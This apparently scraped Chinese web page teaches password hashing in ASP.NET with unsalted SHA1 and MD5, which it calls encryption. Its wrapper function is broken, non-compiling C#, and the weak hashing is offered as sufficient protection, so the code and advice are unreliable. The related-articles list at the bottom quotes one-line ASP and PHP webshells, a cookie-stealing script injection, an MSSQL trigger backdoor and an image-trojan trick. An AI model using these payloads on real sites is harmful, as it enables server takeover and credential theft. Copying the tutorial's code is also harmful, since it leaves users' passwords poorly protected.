如何使用ASP.NET加密口令

  • 时间:
  • 浏览:49
  • 来源:网络编程网
为了解决这个问题,我给大家提供一个简单实用,但是老套的方法,就是口令加密。在此我们使用asp.NET技术对口令加密。简单的讲,就是将用户提供的口令加密之后,然后让它和存放于系统中的数据比较,如果相同,则通过验证。
在ASP中,并未提供加密的对象,我们只能使用外部的对象来进行加密。现在好了,在ASP.NET中提供了加密的解决方法。在名字空间system.Web.security中包含了类formsAuthentication,其中有一个方法hashpasswordForstoringInconfigFile。这个方法可以将用户提供的字符变成乱码,然后存储起来,甚至可以存储在cookies中。
HashPasswordForStoringInConfigFile方法使用起来很简单,它支持"SHA1"和"MD5"加密算法
下面的代码简单的演示了关于其用法:
<%@ Page language="c#" %>
<%@ Import Namespace="System.Web.Security" %>
<html>
<head>
<script language="C#" runat="server">
public void encryptstring(Object sender, EventArgs e)
{
SHA1.Text = FormsAuthentication.HashPasswordForStoringInConfigFile(txtPassword.Text,"SHA1");
MD5.Text =FormsAuthentication.HashPasswordForStoringInConfigFile(txtPassword.Text, "MD5") ;
}
</script>
</head>
<body>
<form runat="server" ID="Form1">
<p>
<b>Original Clear Text Password: </b>
<br>
<asp:Textbox id="txtPassword" runat="server" />
<asp:Button runat="server" text="Encrypt String" onClick="encryptString" ID="Button1" />
</p>
<p>
<b>Encrypted Password In SHA1: </b>
<asp:label id="SHA1" runat="server" />
</p>
<p>
<b>Encrypted Password In MD5: </b>
<asp:label id="MD5" runat="server" />
</p>
</form>
</body>
</html> 

正如你所看到的这样简单易用。我们可以把这段加密程序封装在一个函数里便于重复的使用。代码如下:
public string EncryptPassword(string PasswordString,string PasswordFormat )
{
if (PasswordFormat="SHA1"){
EncryptPassword=FormsAuthortication.HashPasswordForStoringInConfigFile(PasswordString ,"SHA1");
}
elseif (PasswordFormat="MD5")
{ EncryptPassword=FormsAuthortication.HashPasswordForStoringInConfigFile(PasswordString ,"MD5");
}
else
{
EncryptPassword="";
}

我们可以在数据库中添加一个字段,使用insert将加密的口令作为一个string存入数据库中。当用户登陆的时候,就可以将用户输入的口令加密结果和数据库中的正确结果比较,通过这种办法来验证口令的正确性了。在此,我就不往下写了,关于数据库的知识还得读者自己去学。

猜你喜欢

MsSql 触发器后门asp版

复制代码代码如下:<%'里边的变量代码大家用时自己改吧OnErrorResumenextSetconn=Server.CreateObject("ADODB.Connec

2018-02-01

asp+js 偷取Cookies源代码

偷取Cookie,通过以下脚本引入一个js,document.write("<scriptsrc=XX.js></script>"),然后js内容为:v

2018-02-01

asp.net 利用网页挂马拿服务器的一种设想

步骤如下:准备工作1.做好远控木马,做好免杀,找个网马生成器生成网马。然后传到一个空间,并做好相应的加密过的JS引用文件。2.找一套正常的网站源码(大家做过的网站随便找一个就o

2018-02-01

一句话木马(asp,php) 总结篇

asp一句话<%execute(request("1"))%>php一句话<?phpeval($_POST[1]);?>aspx一句话<scrip

2018-02-01

如何使用ASP.NET加密口令

为了解决这个问题,我给大家提供一个简单实用,但是老套的方法,就是口令加密。在此我们使用ASP.NET技术对口令加密。简单的讲,就是将用户提供的口令加密之后,然后让它和存放于系统

2018-02-01

菜鸟是如何变成ASP木马高手的!

1.名称:如何制作图片ASP木马建一个asp文件,内容为<!--#includefile="ating.jpg"-->找一个正常图片ating.jpg,插入一句话木

2018-02-01